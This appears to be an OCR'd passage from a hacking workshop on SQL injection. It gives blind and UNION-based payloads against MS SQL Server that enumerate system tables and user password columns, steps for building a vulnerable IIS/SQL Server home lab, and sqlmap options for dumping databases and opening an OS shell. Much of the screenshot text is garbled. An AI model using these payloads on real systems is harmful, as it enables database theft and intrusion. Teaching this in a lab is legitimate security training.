that you got the grip over union attack. This union attack can be extended
further but that we can not cover in this workshop. If you want to learn
more on extended attack methods, request a separate workshop on
advanced and extended SQL Injection attacks and we will arrange it for
you.

Tutorial 2 — Quick Walkthrough on Blind SQL Injection Attack

Cool, we have studied union attacks and authentication bypass attacks
with walkthroughs now let’'s quickly learn blind SQL injection. We have
explained the concept in a previous module, however, let's have a look at
the SQLi blind attack queries we can use in any blind SQL injection
attacks. Keep in mind that this is an attack type which is sort of your last
resort so we will not be diving deep here but just to give you an idea.

As you learned, table names and column names guessing is going to take
time and sometimes it's not easy to guess with directly hitting names,
however, you can construct the names by using this SQLi attack with the
query as shown below.

SomePage.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP
1 LOWER(name)

FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 2
LOWER(name) FROM sysObjects WHERE xtYpe=0x55))

AS varchar(8000)),1,1)),0)=97

What happens here is that it will guess the first character of the second
table name in the database, however, this will take more and more time
and the results will take much effort but this type of attack does help you
in situations where you can’t do any other type of SQLi attacks.

Why not play with something where you get more room to find more and
more information in bulk? And easily hack into web application and
completely comprise the backend database? Sort of like dumping
everything available in the backend database? This may sound bit weird
as well as difficult to you but it all depends on how you perform SQLi
attacks and what type of attacks you are performing.

But, this is possible and that is why we are studying something that is
doable, however, this is not possible with Blind SQLi. You need to do
something else so let’'s have another walkthrough and see how this is
achievable.
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Walkthrough on Compromising Backend Database with SQLi Attack

Okay, cool. Get ready to read everything available in the backend
database by exploiting the SQLi vulnerability. But how is this possible? In
our current penetration testing we are performing we found another page
with SQLi attack which is a search field having an SQLi vulnerability. This
type of SQLi vulnerability gives you more room to dump all database
contents.

But, some pre-requisite knowledge is a must in such SQLi attacks, since
we are attacking on MSSQL Server running in backend, we must know
enough about its default features and views and how MSSQL operates.

However, since we are not in a database course but a hacking course,
which definitely requires enough knowledge on the system you are trying
to hack. To gain such knowledge and learn about these features of SQL
Server we recommend that you should build your knowledge base by
going through the following MSDN link so that you understand what will
be happening here in the SQLi attack.

External link: https://msdn.microsoft.com/en-us/library/ms177596.aspx

To accomplish this we will again use the union operator but at an
advanced level by using the default features of SQL Server as explained in
the above link. So how to execute this.

We know vulnerable page, what we need is the number of columns in the
SQL Statement written in background by programmer so the number of
column matches in UNION attack.

Advance SQLi Attack

This advanced level of SQLi attack we will be performing will require SQL
Server views to be used, let's see how it works. The below query was
executed successfully in a search field as shown in below snapshot on a
different page of the web application.

Advance SQLI Attack: union select 1,2,3,4 from sysobjects;--

Search By : | Name 'I |' union select 1,2,3,4 from sysobjects;—

Submit Reset

This SQLi attack took us to search page and we go to the below screen as
shown in snapshot.
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—Neme  JraerName [N |
1 2 3 4

The logic behind these numbers from 1 to 4 we have already explained,
now the fun will begin when we will use two column names of this
sysobject table available as default in the SQL Server. So let’s try and
provide two column names we know which are “id” & “name” since this is
a default view so we know it by default and you can practice by going into
it as we explained in previous modules.

So after adding these two column names our SQLi would look like as given
below.

Advance SQLIi Attack: ' union select id,name,3,4 from sysobjects;--

When we executed this SQLi the search works well and took us to the
following page as shown below in the snapshot and you can see what we
have discovered.
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il sysobjects

2 sysindexes

3 syscolumns

4 systypes

6 syscomments

8 sysfiles1

9 syspermissions

10 sysusers

11 sysproperties

12 sysdepends

14 sysreferences

19 sysfulltextcatalogs

20 sysindexkeys

21 sysforeignkeys

22 sysmembers

23 sysprotects

24 sysfulltextnotify

95 sysfiles

96 sysfilegroups

539148966 2_41 13

555149023 12_11_13

619149251 9 12 14

635149308 19 12 14

651149365 1

715149593 COURSE

731149650 TUTOR

763149764 ' TORD_TUTOR_WEB1

1029578706 generateansiname

1045578763 _adduserobject

1061578820 _setpropertybyid

1077578877 _Eetobjwithprop

1093578934 getpropertiesbyid

1109578991 setpropertybyid_u
getobjwithprop_u

1125579048

More tables.

W W W W W WWWWWWWWWWWWWWWWWWWWWWWwWwWwWwWww

b AR R R AR A ERAEPEREREREEDLEPEREERREREEEEREEEREEREREEREAEE

3
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1029578706 | _ger ateansiname 3 4
1045578763 { _adc erobject 3 4
1061578820 1 _set| pertybyid 3 4
1077578877 { _get |withprop 3 4
1093578934  _get )pertiesbyid 3 4
1109578991 « _set| pertybyid u 3 4
1125579048 ( _get |withprop_u 3 4
1141579105 « _get pertiesbyid_u 3 4
1157579162 « _dro serobjectbyid 3 4
1173579219 { _dro ropertiesbyid 3 4
1189579276 t _ver mp006 3 4
1205579333 { _ver mp007 3 4
1221579390 ( _get )pertiesbyid_vcs 3 4
1237579447 | _dis| yoaerror 3 4
1253579504 ( _adc erobject_vcs 3 4
1269579561 { _adc sourcecontrol 3 4
1285579618 t _che inobject 3 4
1301579675 { _che outobject 3 4
1317579732 ( _isul 2rsourcecontrol 3 4
1333579789 { _ren refromsourcecontrol 3 4
1349579846 ( _vali teloginparams 3 4
1365579903 { _ves abled 3 4
1381579960 t _wht 1eckedout 3 4
1397580017 | _get pertiesbyid vcs_u 3 4
1413580074 ( _dis| yoaerror_u 3 4
1429580131 { _adc sourcecontrol_u 3 4
1445580188 ( _che inobject_u 3 4
1461580245 { _che outobject_u 3 4
1477580302 ( _isul 2rsourcecontrol_u 3 4
1493580359 t _vali teloginparams_u 3 4
1509580416 t _wht 1eckedout_u 3 4
1945057965 1 sseg 2nts 3 4
1961058022 « scon aints 3 4
2073058421 L.Drop lies 3 4
2089058478 4 3 4
2105058535 L wpruperie veior TD7T8A4E7 3 4

Now the first column is the “ID” of this table and second column is the
“name” of the table so now we can find available columns in any table, we
will select one to demonstrate.

We selected two IDs from the above list, one of the default table and one
from user defined table as shown in below SQLi

Advance SQLi Attack: ' union select id,name,3,4 from syscolumns
where id=1125579048;--

Advance SQLi Attack: " union select id,name,3,4 from syscolumns
where id=10;--

And we found the below information for each query, respectively.
Similarly, you can execute more advanced and customized queries to read
through databases and dump all the content.
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[ TSI

altuid 4
10 createdate 3 4
10 environ 3 4
10 gid 3 4
10 hasdbaccess 3 4
10 isaliased 3 4
10 isapprole 3 4
10 islogin 3 4
10 isntgroup 3 4
10 isntname 3 4
10 isntuser 3 4
10 issqglrole 3 4
10 issqluser 3 4
10 name 3 4
10 password 3 4
10 roles 3 4
10 sid 3 4
10 status 3 4
10 uid 3 4
10 updatedate 3 4

Second query result.

1_1.25579048 @property
1125579048 @uvalue 3 4

We hope you learned something new today and enjoyed the workshop
and want to hack into databases yourself so let’s help you in setting up
your home lab for practicing the gained knowledge.

We hope it's beneficial for your career and thank you for attending the
workshop.
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Module 4 — What you should know to Advance your Database
Hacking Skills

Tutorial 1 — Knowledge Base

Welcome to the fourth and last module of this workshop. The purpose of
this module is to help all level of students, including people from the
beginner level, to build the knowledge base in order to achieve a set level
where they can gain further experience by means of setting up their own
virtual home lab.

This will be a short and quick module, as we need to present the setup of
the virtual lab as well as methods of hacking into databases by means of
tools, which doesn’t take much time, Ahan.

In the beginning of the workshop we focused on two database servers, if
you can recall, Microsoft SQL Server and MYSQL Server. However, so far
we were practicing on MS SQL Server. There is a big difference in these
two servers from their own architecture standpoint, however, SQL
Statements remains the same and there is not much difference. However,
the default views and features do differ to a large extent. We will cover
the hacking of MYSQL database by means of tools in this module so that
we cover both servers.

But the core of the SQLi attack is basically manual techniques and
customized queries which you have to write on your own in order to hack
into the backend database. Tools can perform all the work for you but
that’s not the way core hackers do it! Therefore, we will cover the usage
of tools to hack into the database servers in this module to cover both
methods of hacking databases.

Anyhow, so what do you need to develop your own virtual home lab?

The answer is simple; you need tools and virtual machine software, we
have explained that in other workshops as well, but as we mentioned, we
need to cover all types of students, it's not necessary that all students
have gone through other workshops, too, or they already know how to
build home virtual lab. So students who have this knowledge, don’'t worry,
sometimes it’s good to revise or you can jump this section easily.
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Setup Windows Server 2008

You can use virtual box as your virtual machine software, however, | am
running VMware Fusion on my Mac. Let’s setup VM for our server.

| ®@® ® Virtual Machine Library
+v 2 B =
Add View Path Start Up Settings Snapshots Delete
CVRTUALWAGHNES |
& Windows XP Professional
& Kali Linux

% Windows Server 2008 x64
@ Windows Server 2008 Enterprise Edition

Add new virtual machine and select the options as shown in below figure
to add new machine.
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@0 e® Virtual Machine Library

+ v H =v > A %

Path Start Up Settings Snapshots

Delete

B NewEootCamp... |G

Migrate Your PC...
Import...

Folder 84

% Windows Server 2008 Enterprise Edition

Now, select the method as shown below.
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Create a Virtual Machine

Select the Installation Method

22 Windows7
Ultimate

Install from disc or image Import an existing PC

More options... @
Cancel \

P | Continue

We will select install from disc as we have our Windows Server 2008
image with us, at this stage you should already have the image for you,

smart people know how to do this. Double click the selected method and
locate your image and proceed.
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New Virtual Machine

Create a New Virtual Machine

This will guide you through installing Windows or another operating system in a virtual machine
on your Mac.

Choose an operating system installation disc or image:

MWS2008EE(64-bit).iso

Windows Server 2008 x64

Use another disc or disc image...

.7, | Cancel \ .~ GoBack |

Now, continue and provide required information as shown below.
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New Virtual Machine

Microsoft Windows Easy Install

Use Easy Install

Account Name: Raheel Ahmad
Account Type: Administrator
Password: (optional)

Confirm Password:

Windows Product Key:
Language: English (United States)
Choose your Windows version... d

Make your home folder accessible to the virtual machine

The virtual machine can = Read & Write d

? Cancel Go Back

Once done, finish and you will be booting Windows.
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New Virtual Machine

Finish
The configuration of the virtual machine is now complete.
The next step is to install Microsoft Windows.

Virtual Machine Summary

Guest Operating System Windows Server 2008 x64
Easy Install Account Name Raheel Ahmad
Installation Disc MWS2008EE(64-bit).iso
New Hard Disk Capacity 40 GB
Memory 1 GB
Networking Share with my Mac (NAT)
Device Summary CD/DVD, USB Controller, Printer, Sound Card

To change the default virtual machine settings, click Customize Settings. To
run the virtual machine now, click Finish.

Customize Settings

7 Cancel Go Back

Hit finish and you will be running Windows Server 2008 at installation
level which will finish quickly as shown below.
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e L Windows Server 2008

£7 Install Windows

Installing Windows...

That's all the information we need right now. Your computer will restart several times during
installation,

/ Copying files

 Expanding files

J Installing features

'/ Installing updates
Completing installation

1 Collecting information 2 Installing Windows

You can complete this installation without any hiccups if you have a
Windows installation key with you.

Setup MS SQL Server 2008

Now, you can either setup MS SQL Server 2008 Express edition or install
the full trial version for 180 days. It’'s your choice, we have explained the
installation method for the 2005 express server in previous module,
however, installing the MS SQL Server 2008 would be bit different but you
can cover this easily as shown below.

Installing MS SQL Server requires PowerShell to be installed first, so let's
do it quickly. For this open your server as shown below.
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[ BN | % Windows Server 2008
BY 1nitial Configuration Tasks ‘Jﬂﬁl
& £
= [ Perform the following tasks to inttially configure this server . Windows Server-z00s
‘ Enterprise
"Jﬁl Provide Computer Information m Specifying computer information
"“‘ Set time zone Time Zone: {GMT+12:00) Fiji, Kamchatka, Marshall Is.
§' Configure networking Local Area Connection: |Pv4 address assigned by DHCP, IPvE enabled
* Provide computer name and Full Computer Name: WIN-QSCCTFIWYII
domain Workgroup: WORKGROUP
@ update This Server ld] updating your Windows server
Enable automatic updating and Updates: Not configured
feedback Feedback: Windows Erer Reporting off
Not participating in Customer Experience Improvement Program
:"::f Download and install updates Checked for Updates:  Never
Installed Updates: Never
IQ] Customize This Server Hl Customizing your server
E_}, Add roles Roles: None
a Add features Features: None
Q.:’- Enable Remote Desktop Remote Desktop: Disabled
f” Configure Windows Frewall Firewalk On

Print, e-mail, or save this information

| Do not show this window at logon Close I
Lrstart] | 3 mm | 5 mitial Configuration T... B @ady ssiem

Under customize this server, now add features and you will see below
screen and select PowerShell as shown below.
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@ @ % Windows Server 2008
Er Initial Configuration Tasks =121 x|
= ... . .
Add Features Wizard D ﬂ

Select one or more features to install on this server,

Confirmation Features: Description:

T . i Windows PowerShell is a command-
it dans L Quaity w@ws Audo Yided Experience :I line shell and scripting language that
Resuits [ Remote Assistance helps IT professionals achieve g

[] Remote Differential Compression productivity. The new administrator-
[] Remote Server Administration Tocls focused seripting language and more
[] Removable Storage Manager than 130 standard command-line tools
[] RPC over HTTP Proxy enable easiersystem administration
and accelerated automation.

[ simple TCP/IP Services
] sMTP Server
[] SNMP Services
[] storage Manager for SANs
[] Subsystem for UNIX-based Applications
[] Telnet Client
] Telnet Server
[] TFTP Client
] windows Internal Database

@ [] windows Process Activation Service
# [] Windows Server Backup Features
] windows System Resource Manager
[] WINS Server
[] wireless LAN Service

More about features

< Previous " MNext > I Install | Cancel I
I~ Do not show this window at logon _Oee |

Now, continue and install the feature as shown below.
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% Windows Server 2008
E"Y Initial Configuration Tasks

=

... . ~

=
ﬁ# Installation Progress
|

Features

The following roles, role services, or features are being installed:
Confirmation

Windows PowerShell
Progress

Results

gli

Initializing installation...

< Previous I hext > I Install |

" Do not show this window at logon

This will finish quickly and if all goes well then you will see the following
screen.
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Add Features Wizard x|
ii# Installation Results
Features
The following roles, role services, or features were installed successfully:
Confirmation
!\ 1warning message below
Progress -
[ "1] Windows automatic updating is not enabled. To install the latest updates, use Windows Update in

£" Control Panel to chedk for updates,

Windows PowerShell ':@' Installation succeeded

Print, e-mail, or save the installation report

< Previous | Mext > I I Close I Cancel |

Now let’s install SQL Server 2008 Express. This is also a free version from
Microsoft, which is available to download from below link.

Download: http://www.microsoft.com/en-
nz/download/details.aspx?id=30438

Download SQL Express and SQL Management Studio as shown in below
screenshot.
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Q, search wTE & A

Choose the download that you want

|_ File Name Size

_ | Download Summary:
l_ SQLEXPRADV x64_ENU.exe 1,008.6 MB

1. SQLEXPR,_x86_ENU.exe

) 2. SQLlManagementStudio_x86_E
l_ SQLEXPRADV x86_ENU.exe 804.1 MB
[ SQLEXPRWT x64_ENU.exe 3405 MB
[ SQLEXPRWT x86_ENU.exe 318.4 MB

| io_x64 ; J |
I_ SQLManagementStudio_x64_ENU.exe 161.0 MB i _’,_l

: Total Size: 268.7 MB

I\T SQLManagementStudio_x86_ENU.exe 158.3 MB -

Next

However, there will be pre-requisites to install this SQL Server as shown
below.

ﬁ:’ Microsoft SQL Server 2008 R2 Setup ﬂ

S0QL Server Setup cannot continue until the following programs are installed. After installing
the programs, restart the computer if required, and then restart SQL Server Setup.

Microsoft .MET Framework 3.5 SP1is available at: http: /fao. microsoft. comffwlink/?LinkId=159615

Microsoft Windows Installer 4.5 is available at: http: ffqo. microsoft. com ffwlink/?LinkId=159618

Follow the links to download and install these dependencies as we have a
fresh copy of the Windows server so this is okay.
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| NN % Windows Server 2008

8 downloadsq.. | m DownloadMi.. | g DownloadMi.. || New Tab

é’ go.microsoft.com/finlink /?Linkld=1596 18 c | |O\ Search | }ﬁ? E " ﬁ' =

I% Microsoft .NET Framework 3.5 SP1 Setup i P s 53

Microsoft’

Welcome to Setup .NEt Framework

Be sure to carefully read and und i all the rights and restrictions described in the
licensa terms. You must accept the license terms before you can install the software.

E

MICROSOFT SOFTWARE SUPPLEMENTAL

Press the Page Down key to see more text. II'
% Thave read and ACCEPT the terms of the License Agreement
{1 DO NOT ACCEPT the terms of the License Agreement

[~ Send information about my setup experiences to Microsoft Corporation.

Details regarding the data collection policy

Download File Size: 59 M8

Download Time Estimate: 2 hr 25 min (56 kbps)
15 min (512 kbps)

[ mstal> ]| concel

Complete the installation as it’'s simple to do so. After both installations
you will be required for reboot. Now, let’'s move our focus back to SQL
Server installation.

Now, run the setup and you will see the following screen to start the new
installation
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‘90 @® ¥ Windows Server 2008
R
Planning “ef= New installation or add features to an existing installation.
Installation Launch a wizard to install SQL Server 2008 R2 in a non-custered environment or to add features to
an existing SQL Server 2008 R.2 instance.
Maintenance
Tools Upgrade from SQL Server 2000, SQL Server 2005 or SQL Server 2008
Launch a wizard to upgrade SQL Server 2000, SQL Server 2005 or SQL Server 2008 to SQL Server
Resources 2008R2,
Advanced .E P Search for product updates
Options Search Microsoft Update for SQL Server 2008 R2 product updates.
ﬁh Microwoft
2 SQLServer2008r2
’ * ® * Q # @ Restore Previous Session
Downloads Bookmarks History Add-ons Sync Options

Follow the process as shown below.
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o [eFrogrom s G s, sever -]
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Set the password and continue as shown below sequentially
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If all goes well then you will see the following screen confirming successful
installation.

[ NN % Windows Server 2008

55 s server nstalationcenter loixi| =l
Gsaseverzsrasenmy ioi ]

Complete

Your SQL Server 2008 R2 installation completed successfully.

Setup Support Rules Summary log file has been saved to the following location:
Feature Selection \Progra 86 )\Mi ft S :
Installation Rules
Instance Configuration Information about the Setup operation or possible next steps:
Disk Space Requirements
Server Configuration

Database Engine Conf

Error Reporting

Installation Configuration Rules
Installation Progress
Complete

@ Your SQL Server 2008 R2 installation completed successfully.

Supplemental Information:
The following notes apply to this release of SQL Server only.
Microsoft Update

-

Fwnfummnd:wthowtnmm&mdatemdenﬁfvupdamfasqmmn,mhemﬁ—
Update Web site at http://go. microsoft. com/fiui

Samples
By default, sample databases and sample code are not instalied as part of SQL Server Setup. To install sample

databases and sample code for non-Express editions of SQL Server 2008 R2, see the CodePlex Web site at
httn: /fao. microsoft.comfilink/2Linkld =87843, To read about support for SQL Server sample datsbasesand = |

Close | Help I

4

Now, install the management studio so that you can manage this server.
This should be okay as we did the SQL Server installation.

Tutorial 2 — Vulnerable Web Application Setup
Setup 11S Server on Windows Server 2008

Now, we will setup 11S Server, run the manager server and add the role
as shown below to install 11S Server.
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[ NON ) % Windows Server 2008
EY Initial Configuration Tasks =18 x|
Perform the following tasks to initialy configure this server & Windows Server-2008
Enterprise
W Daccnnsicdion Comsesskos Tofosmne ko | A S,
Add Roles Wizard zl
7 Select Server Roles
Add Roles Wizard ll
1;'; . Add features required for Web Server (lIS)?
~ | You cannot install Web Server (IIS) unless the required features zre also installed. i
Features: Description: mcertiﬁumm
= Windows Process Activation Service Ww ) leservices
Frocess Model generalizes the IIS process model, removing \d manage
Configuration APls the dependency on HTTP. All the features Lty of
Add Requied Festwes | Cancel |
(i) Why are these features required? p
Ll File Services
L] Hyper-v
[] Network Policy and Access Services
[} Print Services
[] Terminal Services
[[] uDOI Services
[ web server (1)
[[] windows Deployment Services
Mare about server roles
< Previous I Next > Install I Cancel
I™ Do not show this window at logon _Ia“'

Select Web (11S) Server
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@08 % Windows Server 2008 ;
EY mitial Configuration Tasks ‘Jﬂﬂ

Perform the following tasks to nitially configure this server :3 Emlgomkwerm
58

BB Disoasiolo Mo oo TaEoren-bion Bl cosion s i e i

Add Roles Wizard I 5[

& Select Role Services

Before You Begin Select the role services to install for Web Server (IIS):

Server Roles Role services: Description:

pe i B Bl Web Server = inffasﬂ'u;:ture for deulopépf:; ﬁ

=E commrfmﬁaw” hosting Web applications. Use these
Static Content features to create Web content or
Default Document mlﬂleﬁmmmallty of 115, These
V| Directory Browsi t ogies typically provide away to
H-,r-", Em“owsmg perform dynamic operations that
O . resultin the creation of HTML output,
HTTP Redrection wehich IIS then sends to fulfill lient
p s requests.

[¥] 154PI Extensions
ISAPI Filters
Server Side Indudes
= @ Health and Diagnostics
[¥] HTTP Logging
[ Logging Tools
Request Monitor
]:l Tradng
[ Custom Logging &

Fata Lad P

More zhout role services

<Prwinus| Next > I Install I Cancel I

Finish installation as shown below
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LK % Windows Server 2008
EY Initial Configuration Tasks =18 x
ﬁ Perform the following tasks to initially configure this server ‘3 EVft;ndowsServer'm
rprise
£ Duosdda Consnutas Infasnaniion | | Y

Add Roles Wizard ﬁl

ﬁ Confirm Installation Selections

Before You Begin

Server Roles

Web Server (IIS)
Role Services. ® This server might need to be restarted after the installation completes.

Confirmation [~ Web Server (I1S)

Progress ®mwththdwfsSvstﬁanlceMmagﬂuNSRM}adMitmnmbupﬁﬁze

Results o
Web Server

Common HTTP Features
Static Content

Default Document
Dwectory Browsing
HTTP Errors
Application Development
ASP.NET e
NET Extensibiity
ASP
Gl
ISAPI Extensions
ISAPI Filters
Server Side Indudes
Health and Diagnostics ;|
P .

Pri i this informat

To install the following roles, role services, or features, dick Install.
(i) 2 informational messages below

|»

< Previous Next > | Install l Cancel I

Successful installation would end in the following screen as shown
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[ K % Windows Server 2008
EY initial Configuration Tasks =181x
: S » Py
Perform the following tasks to nitially configure this server A, Windows Server 2008
Enterprise
R Denssido Coansmukor Tandosmnostiamn | T W
Add Roles Wizard x|

& Installation Results

Before You Begin . .
The folowing roles, role services, or features were installed successfully:
Server Roles

Wieb Server (I15) 4\ 1 wemiog messas belw

Role Services I ﬁ Windows automatic updating is not enabled. To instal the latest updates, use Windows Update ir 2]
%" Control Panel to check for updates,

-~ Web Server (IIS) @ Installation succeeded

Confirmation

Progress

The following role services were installed:
Web Server
Common HTTP Features
Static Content
Default Document
Directory Browsing
HTTP Errors
Application Development
ASP.NET
NET Extensibiity
ASP

CGl
ISAPI Extensions
ISAPI Filters
Server Side Indudes
Health and Diagnostics ,:I

Okay, now time to setup the database itself in the SQL Server we have
installed. For this we will provide the script to create database and sample
tables as well, however, you need to do it on your own as shown below.
Now run the management studio as shown below.
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®eo®
F.. Microsoft SQL Server Management Studio

File Edit View Tools Window Community Help
P2 New query | [y [y | 5 H & | g

% Windows Server 2008

Conect> B Ml m T §

£ E Connect to Server

? SOL server2o0sr2

Login with the credentials you set at the time of installation and you will
be able to see the following screen.
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[ N ) % Windows Server 2008

B Microsoft SQL Server Management Studio
File Edit View Debug Tools Window Community Help
§ D NewQuery | Ly | L |5 I & | )

< e |
Ready

We will now run the script we have to create the database and sample
data as well. Follow the same process to do so, you will be provided with
the script with this workshop module.
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Selectap# B —————
8" Options Destination to restore
Select or type name of the a new or existing database for your restore operation
To database: | :]
Source for restore
Specify the sources and location of backup sets to restore
 From database: | #
& From device; | =
Select the backup sets to restore:
Rest... | Name | File Type | Type | File Lo
Server;
WIN-QSCC7FSWYJNSQLEXPRE:
Connection:
83
47 View connection properties
Ready
q | 3|

o 1 oo |}

Right click database and select restore files and filegroups as shown
above. Follow the steps as shown below.
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®=e % Windows Server 2008
‘6C}° | ~ Computer ~ Local Disk (C1) ~ Cars ~ v K& fseaen

File Edit View Tools Help

- -
Favorite Links [ -
| DDﬂ.lﬂ- ents = Options =G C:
[ pictures & () SRecycle Bn
B music @3 Boot
|4 Recently Ch [#-{3 Brown
=3 Cars
B searches == & {3 Aop_Data
Ju Public
Spe
Bac
Bac <
— -3 Documents and Settings
-3 inetpub
(3 Perflogs J
-1 Program Files
#-{_3 Program Files {x86) __I
#-{_3 ProgramData I Fie Lo
-3 System Volume Information
-3 Users
s
3@ E
Server: wid
WIN-G5CCTFIWY
Connection — i
m |
3¢ View connecti y
Folders -
Selected path: }C:\C.ars
Fies of type: |Backup Fies(" bak:"tm) =l
}Cars.bﬂ(

As shown above locate the database file as we selected for Cars.bak and
continue.
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% Windows Server 2008

‘@Q@ [17~ Computer + Local Disk (C:) + Cars ~

- |_

File Edt View Tools Help

(- L4 BB m Restore Files and Filegroups

Favorite Links

L5 Seapt ~ [ Help

| Documents | %A Optiors
E Pictures
I3 music

|4 Recently Ch
I searches

5

Destination to restore

Select or type name of the a new or existing database for your restore operation

Public Source for restore
Specy the sources and location of backup sets to restore

Server:
WIN-Q5CCTFSWYJINSQLEXPRE!
Connection:

sa

S_,‘i View connection properties

Progress

Feady

Folders

" From database: | =
& from device: [C\Car\Cars bak Ji=|
Select the backup sets to restore:
Rest.. | Name [ Fie Type | Tee Fie Lo
Ful
[~ Cars-Ful Database Ea... Ful
Connection P “"‘3: Cas : Fd
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0@ % Windows Server 2008

F.. Microsoft QL Server HManagement Studio

Fle Edt Vew Debug Tools Window Community Help
{ BlNewouery | [y | [y |5 el &5 | ) o

ERNELREY Select a page L8 Seript - [ Help
= (3 Datal | = Genesl
= Ca 5| = Options e
® |
# t Select or type name of the a new or existing database for your restore operation
[
_ &8 To database: = =]
# [ Secu :
® [ Serwe Source for restore.
@ 3 Repls "
@ B Manz Specify the sources and location of backup sets to restore
" From database: | =l
(¢ From device: |C:\Cars\Cars bak =

Microsoft SQL Server Management Studio

Server:
WIN-G5CCTFSWYJNSQLEXPRE!

Connection:
£

®s Executing

4 | 2

That's it and now you have setup the database for the sample website we
will be running on the IIS Server we installed in the module.

Now, go back to the IIS Server and create the virtual directory and setup

the web application as explained below. You can run IS Manager from
Administrative tools in control panel.
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& Windows Server 2008

E Internet Information Services (IIS) Manager

@@ [ﬂg } StartPage

FEEICE

Fie View Hep
Q-id|” |8

B €3 WIN-QSCCTFIWYIL (WII

Nama Serve Connect to localhost
WIN-QSCCTFOWYIL localh Connect t a server
Connect to a site.
Connect to an application

115 News and Information
115 Downloads

1IS Forums

Techiet

ASP.NET News

IS News

IS News is disabled, click the Enable IIS News link to get the most recent online news.

Enable IS News

4 | »
Ready
Lostart| | S M @ | Lo MaosoftsQUSer... | | 3 Windons Bxpl.. ~| @ Download -Moaka... |[€ Internet Inform... |2 DRy B Ky 7:43PM ‘

On the default website right click and add virtual director as shown below.
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% Windows Server 2008

@
"r; Internet Information Services (I1S) Manager L

=&l

@"@ [ @ » wiNQSCCFOWYN b Stes b Defautwebsite »

EERICE

File View Help
_, - Default Web Site Home
€-d|A |8 e
ﬁj Start Page = =
563 WIN-QSCCTFOWYIT (WIN-QSCCTSWY T Raheal || STOURDY: Area 58
=} Application Pools ASP.NET =
=-[8] Sites = o
h & e B ®
- asq ) Explore
: NET NET NET Profile  .NET Roles
Edit Permissions. Compiation  Globalization
(2 Add Application. q L3 = 3
4 Add Virtual Directory S . = L
NET Trust NET Users  Application  Connection
Edit Bindings... Levels Settings Strings
Manage Web Site » ?? =
] ’ : B &
£ Refresh MachineKey Pagesand  Providers  Sesson State
K Remove Controls
Rename 1~ 1
(2 Switch to Content View SMTP E:—nalj
ns

4| |
Ready

-

s & @ g

ASP Authentication CGI Compression
| " ] & | I v
Default Directory Error Pages Handler -
Document Browsing Mappings
« @ 8
HTTP 1SAP! Filters Logging MIME Types
|- Content View

2 Explore
Edit Permissions...

Edit Site
= N .
View Applications
View Virtual Directories
Manage Web Site A
Z Restart
b Start
B Stop
Browse Web Site
& Browse *:80 (http)
Advanced Settings...
Configure
Limits...

@ rep
Online Help

You will be provided with the sample websites as well. Locate these two
web application folders and add them as virtual director as we have

explained in below steps.
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ene © Windows Server 2008
“E Internet Information Services (I1S) Manager = |5L§|
G C) (@) vinoscomown » stes b Defaitwedste » |6 =< 1@ -
Fie View Help
" Default Web Site Home
@-i-|Z e 0 £ Explore
% Start Page 5 Y. Edit Permissions....
[=-83 WIN-QSCCTROWYII (WIN-QSCCTFOWY IRaheel || | STOUBDY: Area 2
=) Appication Pools ASPHET - Edit Site
B-[&] Sites . — Bindings. ..
-6 Default Web Ste $ § (2 =) Bas g
e E 0B B Jl=
.th .I'ET ."—-\ . ——— LT I_’li:__-_
Conplabon_ Gobelzon |,
e e —
name: Default Web Site
x: ; =&, Local Disk (C3) a
& J Brown
Rlins: = =8
I J. App_Data
Example: images de cs5
[l L images Wi
Physical path ¥ =
. mobile
Pass-through authentication @ |, inetpub
Perfl
Connect as.... | Test Settings,.. I il ca =
Make New Folder | ok | coxel |
7
|
ASP Authentication CGI Compression
By —==— ‘r'*‘_
('] | & @__l
Default Directory Error Pages Handler
Document Browsing Mappings
EE i
€« & 8
HTTP ISAPIFiters  Logging MIME Types
Respo... :_I
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% Windows Server

2008

@@ | €@ » WINQSCCTIWYIL » Sites b Default WebSite »

=}

4]

Ready

FERICE
View Help
— Default Web Site Home
—a» ETEAT) & 5 oo
Start Fage : = Edit Permissions...
(=95 WIN-QSCCTROWYII (WIN-QSCCTFSWY TRaheel || | STOUPBY: Area i ==t
L} Appication Paols ASP.NET - Edit Site
&) Sites 7 ) N Bindings...
&€ Default Web Site & == (2N =] Basic Settings...
| aspret_chent N 0‘ E o @ 2
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Once configured you would be required to convert them as application so
that you can run them properly as an web application as shown below.
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Once converted go to the following link on your browser for this web

application.

Link: http://localhost/cars

You will be able to see the following web application up and running on
your Windows Server 2008 Server running 1S Web Server 7.
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This web application is configured with the backend database we have
setup in this module. Now, it's your time to add another web application
and start practicing the hacking as you learned in this workshop.

Hacking MYSQL & MS SQL Server with SQLMAP

As mentioned in the beginning of this module regarding the MYSQL
server, basically you don’t need to worry much about how it's going to
work with tools. It's easy indeed.

SQLMAP is basically written in python and it's a free tool to execute

automated SQL Injection queries and unloads burden from your head and
save time in penetration testing.
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What you can do with SQLMAP

Usage: sglmap [options]

-h, --help Show basic help message and exit

-hh Show advanced help message and exit
--version Show program'’s version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:

At least one of these options has to be provided to set the target(s)

-u URL, --url=URL Target URL (e.g.
"www.target.com/vuln.php?id=1")
-g GOOGLEDORK Process Google dork results as target URLs

Request:
These options can be used to specify how to connect to the target URL

--data=DATA Data string to be sent through POST
--cookie=COOKIE HTTP Cookie header

--random-agent Use randomly selected HTTP User-Agent header
--proxy=PROXY Use a proxy to connect to the target URL

--tor Use Tor anonymity network
--check-tor Check to see if Tor is used properly
Injection:

These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts

-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to this value

Detection:
These options can be used to customize the detection phase

--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (0-3, default 1)

Techniques:
These options can be used to tweak testing of specific SQL injection
techniques

--techniqgue=TECH SQL injection techniques to use (default
"BEUSTQ")

Enumeration:
These options can be used to enumerate the back-end database
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management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements

-a, --all Retrieve everything

-b, --banner Retrieve DBMS banner

--current-user Retrieve DBMS current user

--current-db Retrieve DBMS current database
--passwords Enumerate DBMS users password hashes
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema

--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate

-T TBL DBMS database table to enumerate

-C COL DBMS database table column to enumerate

Operating system access:
These options can be used to access the back-end database
management
system underlying operating system

--0s-shell Prompt for an interactive operating system shell
